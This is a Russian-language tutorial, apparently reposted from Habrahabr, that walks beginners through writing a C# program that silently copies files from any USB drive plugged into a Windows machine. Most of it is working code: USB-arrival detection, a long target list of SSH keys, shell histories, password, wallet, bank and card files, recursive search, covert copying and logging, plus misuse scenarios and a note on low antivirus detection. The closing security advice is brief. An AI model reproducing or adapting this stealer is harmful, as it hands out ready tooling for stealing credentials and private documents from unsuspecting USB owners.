Пишем программу для кражи данных с USB-носителя в Windows

от автора

Задача:
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).
Алгоритм работы программы
Аудитория:
Новички в программировании и просто интересующиеся.

Пример применения ПО злоумышленником:

  • 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
  • 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.

Пишем программу:
1. Ловим подключение USB-устройства

Переопределением метода WndProc

        protected override void WndProc(ref Message m)//Обнаружен съемный носитель:             base.WndProc(ref m);             const int WM_DeviceChange = 0x219; //что-то связанное с usb             const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено             const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено             if (m.Msg == WM_DeviceChange)                 Thread T = new Thread(Вредоносная_функция);                 if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)                       T.Start();//новое usb подключено                       if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)                     T.Abort();// usb отключено   

2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)

Типы файлов, записанные, например, в (listBox2):

*.ppk *.pref *.remmina *.sh *.txt *.хml* *access*.txt *account* *accs*.txt *admin*.txt *amazon*.txt *authorized_keys* *balance*.txt *bash_history* *billing*.txt *btc*.txt*brute* *c6ep*.txt *cepвep* *codes* *connect* *contacts*.txt *database* *dedic*.txt *dedik*.txt *domain*.txt *ftp*.txt *hack*.txt *host*.txt *icq*.txt *id_*sa* *id_dsa* *id_rsa* *known_hosts* *ksh_history* *login* *mail*.txt *merchant*.txt *money* *myadmin*.txt *mysql_history* *nano_history* *parol* *pass* *pentest* *pgsql_history* *pma*.txt *pref* *qwerty* *rdp*.txt *remmina* *root* *serv*.txt *sh_history* *srv*.txt *todo*.txt *userid* *users* *vds*.txt *vpn*.txt *vps*.txt *vuln*.txt *wallet* *webmon* *zsh_history* *акк*.txt *аккаунт* *баги* *баланс* *баланс*.txt *банк*.txt *бтц* *важн*.txt *вдс*.txt *вебман* *вебман*.txt *взлом* *впн*.txt *впс*.txt *данны* *деньг* *доступ* *задачи* *задачи*.txt *инфо*.txt *картон*.txt *карты*.txt *ключ*.txt *коин* *кош*.txt *кредит* *логин*.txt *парол* *почта* *приват* *рут*.txt *секрет* *секрет*.txt *сервер* *серт*.txt *смс*.txt *сокс*.txt *счет*.txt *тест*.txt *туду*.txt *уязвим* *фтп*.txt *хак*.txt *шел*.txt *шоп*.txt *эккаунт* *эксплоит* access.txt adm.txt all.txt bill.txt card.txt cards.txt cc.txt centos.txt data.txt ded.txt ftps.txt full.txt hdd.txt host.txt id.txt info.txt key.txt linux.txt mail.txt mails.txt pern*.txt skype*.txt sql*.txt ssh*.txt sys.txt tconn.conf toor.txt ubuntu.txt usb.txt user.txt virtual.txt рег*.txt сбер*.txt ссх*.txt *парол* *pass* *pwd* *login* *логин* *vk.com* вконтакте *почты* *.xls* *.doc* *.rtf *.JPG *.jpeg *.pgf *.bmp *.cr2 *config* *пинкод* *банк*

3. Ищем файлы на USB-носителе

Функция поиска:

private ArrayList F;// Список найденных файлов private void Вредоносная_функция()             Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе             foreach (var dInfo in DriveInfo.GetDrives())                 if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)                                     for (int i = 0; i < listBox2.Items.Count; i++)                     {                         foreach (string file in Directory.GetFiles(@dInfo.Name,                                                             listBox2.Items[i].ToString(),                                                             SearchOption.AllDirectories))                             F.Add(new FILEclass(file, Path.GetFileName(file)));                     }                 

5. Копируем файлы с подключенного USB-носителя к себе на компьютер

Функция копирования

private void cheat()         ...ищем файлы...         //Создаем папку куда копировать         Directory.CreateDirectory("Liked " + DateTime.Now.Year +                                                  "." + DateTime.Now.Month +                                                   "." + DateTime.Now.Day);         int copied = 0; int copy_err = 0; int exist = 0;         for (int i = 0; i < F.Count; i++)         {             string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));             string source = ((FILEclass)(F[i])).Fullname;             string dest = Dir + @"\" + ((FILEclass)(F[i])).name;             string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name);             if (sourceName.Equals(destName))                 if (File.Exists(source))                     if (File.Exists(dest))                         try                         {                             if (FileCompare(source, dest)) exist++; //такой файл уже есть                             else//файла нет - несанкционированно копируем                                 File.Copy(source, Dir + @"\" + Timenow() +                                                      "s. " + ((FILEclass)(F[i])).name);                                 copied++;                          }                         catch{copy_err++; }//на случай если USB-устройство извлекут                     else                     {                         try                             File.Copy(source, dest);                         catch { copy_err++; }                         copied++;                     }                 else                                         copy_err++;         } 

Функция сравнения двух файлов

        //https://support.microsoft.com/ru-ru/kb/320348         private bool FileCompare(string file1, string file2)             int file1byte;             int file2byte;             FileStream fs1;             FileStream fs2;             if (file1 == file2)                 return true;//на сравнение передан один и тот же файл             fs1 = new FileStream(file1, FileMode.Open);             fs2 = new FileStream(file2, FileMode.Open);             if (fs1.Length != fs2.Length)                 fs1.Close();                 fs2.Close();                                 return false;             do             {   //размер файлов совпал, значит сравним файлы по битам                 file1byte = fs1.ReadByte();                 file2byte = fs2.ReadByte();             }             while ((file1byte == file2byte) && (file1byte != -1));             fs1.Close();             fs2.Close();             return ((file1byte - file2byte) == 0); 

6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:

14.08.2015 21:25:13 ============================================= Программа запущена 14.08.2015 21:25:17 Начат поиск файлов 14.08.2015 21:25:18 Найден файл F:\123hack.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug 

7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»

Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.

Готовый пример в «Облако@mail.ru»

www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).

Было полезно?

Никто ещё не голосовал. Воздержавшихся нет.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

ссылка на оригинал статьи http://habrahabr.ru/post/264513/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *